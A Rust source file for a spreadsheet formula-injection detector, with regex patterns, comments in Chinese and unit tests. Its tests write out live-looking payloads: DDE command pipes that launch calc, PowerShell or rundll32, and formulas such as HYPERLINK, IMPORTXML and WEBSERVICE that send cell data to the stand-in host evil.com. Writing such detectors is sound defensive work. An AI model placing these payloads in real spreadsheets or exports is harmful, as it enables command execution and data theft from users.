Skip to main content

security_rust/data/
formula_injection.rs

1// Copyright (c) 2026 erik <erik@erik.xyz> — https://erik.xyz
2
3use crate::{AttackCategory, DetectionResult, Detector, Severity, regex_detect};
4use regex::Regex;
5use std::sync::LazyLock;
6
7// 与 CsvInjectionDetector 的分工:那边是粗粒度层(任意行首 =+-@ 都报,
8// Medium),这边是精确层(只报能执行命令或外带数据的载荷,High)。
9// 因此 `=SUM(A1:A5)` 这类纯算术公式不算本检测器的目标——它够不到 shell
10// 也够不到网络,且已被粗粒度层兜住;重复报一遍只是噪音。
11// legacy `@` 前缀公式的函数名录。这里原来是"任意全大写标识符 + `(`",于是
12// Java/Kotlin 注解(`@GET("/users")`、`@POST("/users")`)和待办标记
13// (`@TODO(清理临时文件)`)全被打成 High——注解在源码/日志里满地都是。
14// `regex` crate 没有反向断言,写不出"排除这几个名字",只能反过来列公式函数。
15const AT_FUNCS: &str = "SUM|HYPERLINK|IMPORTXML|IMPORTDATA|IMPORTRANGE|IMPORTFEED|WEBSERVICE|FILTERXML|RTD|EXEC|AVERAGE|COUNT|MIN|MAX";
16
17/// 5 条分支合并成 1 条 alternation —— `regex_detect` 对列表里每条 `Regex` 各跑一次
18/// `find`,干净输入下 5 次全文扫描变 1 次。分支顺序 = 原 vec 顺序(同一位置上取最左
19/// 分支;与「按列表顺序取第一条命中的模式」相比偏移量可能不同,档位不变)。
20/// 各分支 flags **不一致**(前三条 `(?im)`、DDE 只 `(?i)`、`@` 函数名录故意只 `(?m)`),
21/// 故每条各自裹进 `(?…:…)` —— 裸 `(?im)` 的作用域会顺延到后面拼进来的分支,
22/// `@sum(`、`@ImportXML(` 就会被前一条的 `i` 变成命中(CSS 的 `@media(` 正是这类)。
23static PATTERNS: LazyLock<Regex> = LazyLock::new(|| {
24    Regex::new(
25        &[
26            // =cmd|' /C calc'!A0:命令管道。锚点带上单元格边界——CSV 一行多个字段,
27            // 载荷常出现在 `admin,=cmd|...` 这种第 2 个字段里。
28            // `cmd` 后面必须紧跟 `|`:`- cmd | run the build` 是文档里的命令列表。
29            // 带空格的 `=cmd | ...!A0` 由下面第 3 条(要单元格引用)兜住。
30            r"(?im:(?:^|[,;])[ \t]*[=+\-@][ \t]*cmd\|)",
31            // 能外带数据或触发本地程序的内置函数
32            r"|(?im:(?:^|[,;])[ \t]*[=+\-@][ \t]*(?:HYPERLINK|IMPORTXML|IMPORTDATA|IMPORTRANGE|IMPORTFEED|WEBSERVICE|FILTERXML|RTD|EXEC)[ \t]*\()",
33            // 任意二进制 + DDE 单元格引用:=rundll32|...!A0、=2+5+cmd|...!A0。
34            // `!A1` 前面必须是紧挨着的非空白字符(`'!A0`、`"!A0`)——散文里的
35            // `- 参见 RFC 1234 | 以及 !A1` 中间有空格,是文字不是单元格引用。
36            r"|(?im:(?:^|[,;])[ \t]*[=+\-@][^\n|]{0,120}\|[^\n]{0,120}[^ \t\n]![A-Z]{1,3}\$?\d{1,5})",
37            // DDE( 载荷
38            r"|(?i:\bDDE[ \t]*\()",
39            // legacy @ 前缀公式:@SUM( 等。故意不加 (?i)——小写 @media( 之类是 CSS。
40            // 函数名走名录,任意全大写标识符会命中注解。
41            r"|(?m:(?:^|[,;])[ \t]*@[ \t]*(?:",
42            AT_FUNCS,
43            r")[ \t]*\()",
44        ]
45        .concat(),
46    )
47    .unwrap()
48});
49
50pub struct FormulaInjectionDetector;
51
52impl Detector for FormulaInjectionDetector {
53    fn name(&self) -> &'static str {
54        "formula_injection"
55    }
56
57    fn detect(&self, input: &str) -> Option<DetectionResult> {
58        regex_detect(
59            std::slice::from_ref(&*PATTERNS),
60            self.name(),
61            AttackCategory::Data,
62            Severity::High,
63            "Spreadsheet formula injection detected",
64            input,
65        )
66    }
67}
68
69#[cfg(test)]
70mod tests {
71    use super::*;
72    use crate::test_helpers::{assert_clean, assert_detected};
73
74    fn det() -> FormulaInjectionDetector {
75        FormulaInjectionDetector
76    }
77
78    fn assert_hit(input: &str) {
79        assert_detected(&det(), input, AttackCategory::Data, Severity::High);
80    }
81
82    #[test]
83    fn name_is_formula_injection() {
84        assert_eq!(det().name(), "formula_injection");
85    }
86
87    #[test]
88    fn detects_command_pipe_and_dde_cell_ref() {
89        for input in [
90            "=cmd|' /C calc'!A0",
91            "=cmd|'/C powershell'!A1",
92            "+cmd|' /C calc'!A0",
93            "@cmd|' /C calc'!A0",
94            "=rundll32|'javascript:alert(1)'!A0",
95            "=2+5+cmd|' /C calc'!A0",
96        ] {
97            assert_hit(input);
98        }
99    }
100
101    #[test]
102    fn detects_data_exfiltration_functions() {
103        for input in [
104            r#"=HYPERLINK("http://evil.com?x="&A1,"click")"#,
105            r#"=IMPORTXML("http://evil.com","//x")"#,
106            r#"=IMPORTDATA("http://evil.com/x.csv")"#,
107            r#"=IMPORTRANGE("http://evil.com","Sheet1!A1")"#,
108            r#"=WEBSERVICE("http://evil.com")"#,
109            r#"=FILTERXML("http://evil.com","//x")"#,
110            r#"=RTD("foo.bar",,"x")"#,
111            r#"=EXEC("calc")"#,
112            r#"=  HYPERLINK("http://evil.com")"#,
113        ] {
114            assert_hit(input);
115        }
116    }
117
118    #[test]
119    fn detects_legacy_at_formulas_and_dde() {
120        for input in [
121            "@SUM(1+1)*cmd|' /C calc'!A0",
122            "@SUM(1+1)",
123            "@HYPERLINK(\"http://evil.com\")",
124            r#"DDE("cmd";"/C calc";"!A0")"#,
125            "=DDE(\"cmd\",\"/C calc\")",
126        ] {
127            assert_hit(input);
128        }
129    }
130
131    #[test]
132    fn detects_payload_in_multiline_csv() {
133        let csv = "name,email\nadmin,=cmd|' /C calc'!A0\nbob,bob@x.com";
134        let r = det().detect(csv).expect("expected detection");
135        assert_eq!(r.attack_type, "formula_injection");
136        assert!(
137            r.matched_pattern.contains("=cmd|"),
138            "matched_pattern 应覆盖载荷: {:?}",
139            r.matched_pattern
140        );
141        assert_eq!(
142            &csv[r.offset..r.offset + r.matched_pattern.len()],
143            r.matched_pattern
144        );
145    }
146
147    #[test]
148    fn ignores_doc_commands_and_annotations() {
149        // 文档里的命令列表:`cmd` 与 `|` 之间有空格,且没有单元格引用
150        for input in ["- cmd | run the build", "- CMD | echo hi", "| cmd | 说明"] {
151            assert_clean(&det(), input);
152        }
153        // Java/Kotlin 注解与待办标记:全大写标识符 + `(` 不等于公式
154        for input in [
155            "@GET(\"/users\")",
156            "@POST(\"/users\")",
157            "@DELETE(\"/users/1\")",
158            "@TODO(清理临时文件)",
159            "@FIXME(x)",
160        ] {
161            assert_clean(&det(), input);
162        }
163        // 散文里恰好有 `!A1` 字样,但 `!` 前面是空格
164        assert_clean(&det(), "- 参见 RFC 1234 | 以及 !A1");
165    }
166
167    #[test]
168    fn spaced_cmd_pipe_still_caught_by_cell_ref_pattern() {
169        // `cmd` 与 `|` 之间有空格时第 1 条不报,但只要带 `!A0` 单元格引用,第 3 条兜住
170        for input in [
171            "=cmd|' /C calc'!A0",
172            "=cmd | ' /C calc'!A0",
173            "+cmd|'/C powershell'!A1",
174        ] {
175            assert_hit(input);
176        }
177    }
178
179    #[test]
180    fn legacy_at_functions_still_detected() {
181        for input in [
182            "@SUM(1+1)",
183            "@HYPERLINK(\"http://evil.com\")",
184            "@AVERAGE(B1:B9)",
185        ] {
186            assert_hit(input);
187        }
188    }
189
190    #[test]
191    fn ignores_benign_inputs() {
192        for input in [
193            "Hello, this is a normal text input. Nothing suspicious here.",
194            "= 5",
195            "-3 度",
196            "+1 more item",
197            "@alice 你好",
198            "a@b.com",
199            "contact: alice@example.com",
200            "cost is -20 dollars",
201            "=SUM(A1:A5) 是求和公式",
202            "=AVERAGE(B1:B9)",
203            "@media (max-width: 600px)",
204            "user[name]=alice",
205            "价格从 -5 到 +5 不等",
206        ] {
207            assert_clean(&det(), input);
208        }
209    }
210
211    #[test]
212    fn plain_sum_is_left_to_the_coarse_tier() {
213        // 精确层放行、粗粒度层兜底——两层分工,不重复告警
214        use crate::data::CsvInjectionDetector;
215        for input in ["=SUM(A1:A5)", "=SUM(A1:A5) 是求和公式", "=1+1"] {
216            assert_clean(&det(), input);
217            assert!(
218                CsvInjectionDetector.detect(input).is_some(),
219                "csv_injection 粗粒度层应仍命中: {input}"
220            );
221        }
222    }
223
224    #[test]
225    fn edge_cases() {
226        assert_clean(&det(), "");
227        assert_clean(&det(), "   ");
228        assert_clean(&det(), "你好世界 こんにちは");
229        // 前缀出现在单元格中间(前面不是行首也不在字段边界)
230        assert_clean(&det(), "a=cmd|' /C calc'!A0");
231        // 单元格边界识别:CSV 第二个字段
232        assert_hit("admin,=cmd|' /C calc'!A0");
233        assert_hit("x;=HYPERLINK(\"http://evil.com\")");
234        // 缺 `!A0` 单元格引用的普通管道
235        assert_clean(&det(), "=foo|bar");
236        // DDE 前面的单词边界
237        assert_clean(&det(), "baddle(");
238    }
239}